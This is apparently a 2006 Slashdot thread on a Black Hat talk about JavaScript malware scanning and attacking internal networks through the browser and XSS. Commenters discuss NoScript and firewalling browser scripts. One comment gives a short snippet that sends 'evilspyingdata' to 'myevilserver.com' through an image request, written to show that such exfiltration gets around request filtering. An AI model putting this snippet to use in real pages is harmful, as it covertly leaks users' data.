JavaScript Malware Open The Door to the Intranet

An anonymous reader writes "C|Net is reporting that JavaScript malware is opening the door for hackers to attack internal networks. During the Black Hat Briefings conference Jeremiah Grossman (CTO, WhiteHat Security) '...will be showing off how to get the internal IP address, how to scan internal networks, how to fingerprint and how to enter DSL routers ... As we're attacking the intranet using the browser, we're taking complete control over the browser.' According the the article, the presence of cross-site scripting vulnerabilities (XSS) dramatically increase the possible damage that can be caused. The issue also not which-browser-is-more-secure, as all major browsers are equally at risk. Grossman says 'The users really are at the mercy of the Web sites they visit. Users could turn off JavaScript, which really isn't a solution because so many Web sites rely on it.'"

Comments

JavaScript Malware Open The Door to the Intranet

[Ohreally_factor]

Caveman Zonk edit headline bad.

NoScript

[dvice_null]

Why can't users just install Firefox and NoScript extension for it. Then Javascript will be disabled by default, but user can whitelist the sites where Javascript should be enabled. Problem solved.

Re:NoScript

[rdwald]

In addition to blocking JavaScript on non-whitelisted sites, NoScript also prevents Flash and Java from loading unless you specifically allow them on a case-by-case basis. All of those stupid Flash adds will be gone, but you can still view everything you want to! It's a great extension.

Re:NoScript

[Anonymous Coward]

The problem is not necessiarly the web browsers (and most don't even use Firefox let alone have even heard of that that extension). The problem is the websites that don't properly take steps to protect against XSS (e.g. HTMLencode user input).

Most recently we saw this problem in Netscape's portal.

http://blog.outer-court.com/archive/2006-07-26-n73 .html

Developers need to start thinking not only about how to solve the particular business problem but also about how their code could be potentially abused by attackers and take active steps to mitigate that risk.

Simple fix to an obvious problem

[pieterh]

Giving JavaScript the power to do random network accesses may make AJAX possible, but code running in my browser has no business accessing my local intranet. For that matter, I'm uncomfortable with JavaScript applications 'phoning home' without my knowledge.

So, the fix is to treat all attempts by JavaScript in a browser as 'hostile until proven otherwise', and to ask for user confirmation when such attempts happen. Put a firewall around the browser and treat any code running in it as dangerous by default.

I predict 2 weeks before there's a FireFox update for this, and 2 years before MSIE fixes the problem.

Re:Simple fix to an obvious problem

[ergo98]

Giving JavaScript the power to do random network accesses may make AJAX possible

The XmlHttpRequest functionality doesn't allow "random network access", but instead is limited to calling the source website (in all browsers but IE. In IE the requests can go anywhere).

I predict 2 weeks before there's a FireFox update for this, and 2 years before MSIE fixes the problem.

Fix what though? The submission seems to be that someone has a big surprize that they're going to release at a conference, and for all we know they could be full of shit, talking big to get a lot of attention. Personally I would rather that this story was shelved until there's actual details that can be addressed/rebutted. Instead it's like lame nightly news teasers.

"Coming tonight at 11 - Someting ordinary in your home that can KILL YOU! Now back to The Family Guy."

Re:Simple fix to an obvious problem

[Goaway]

document.createElement("img");
img.src="http://myevilserver.com/phonehome.cgi?evi lspyingdata="+encodeURIComponent(evilspyingdata);
document.body.appendElement(img);

Oops! I just phoned home without using XMLHttpRequest! How are you going to firewall that one out?

Re:Simple fix to an obvious problem

[tomjen]

It has the IP address of the NAT router - not, not, not the internal ip of the computer making the request through the NAT router.

NoScript extension could be a saviour

[CdBee]

For about a year now I routinely install a whitelisting firefox extension called NoScript
It blocks javascript per-site until I choose to whitelist the site: Not only do I get a great deal fewer annoyances interrupting my browsing, but it also cuts out a lot of web advertising (the AdBlock extension makes my browser drag when fully loaded with filters)

Re:JavaScript Malware Open The Door to the Intrane

[Exatron]

Me, Grimlock, like headline. No want it change.

You don't need it - you want it.

[gnuman99]

You don't need javascript to open a link to another page. You don't need javascript to open an image in a gallery. You don't need javascript to submit a username and password. You just don't need it.

You don't need it - you want it. You want it to make the entire web experience better.

From a security standpoint, everyone should be on lynx or similar browser. From the user standpoint, Javascript is essential (see maps.google.com, or gmail) for a good web experience. Images are fundamental. Web is not static HTML any more. We now live in the world of DHTML and security is just going to have to deal with it.

Javascript is broken if it allows you to access other than non-remote resources (ie. from original website) and some settings available to it from the browser (windows size, etc..). That's what it is there for and other uses should be disabled. We already see it with the JS popup blockers. Similar security for network accesses should suffice.

Similarly with Java, Flash and other things.

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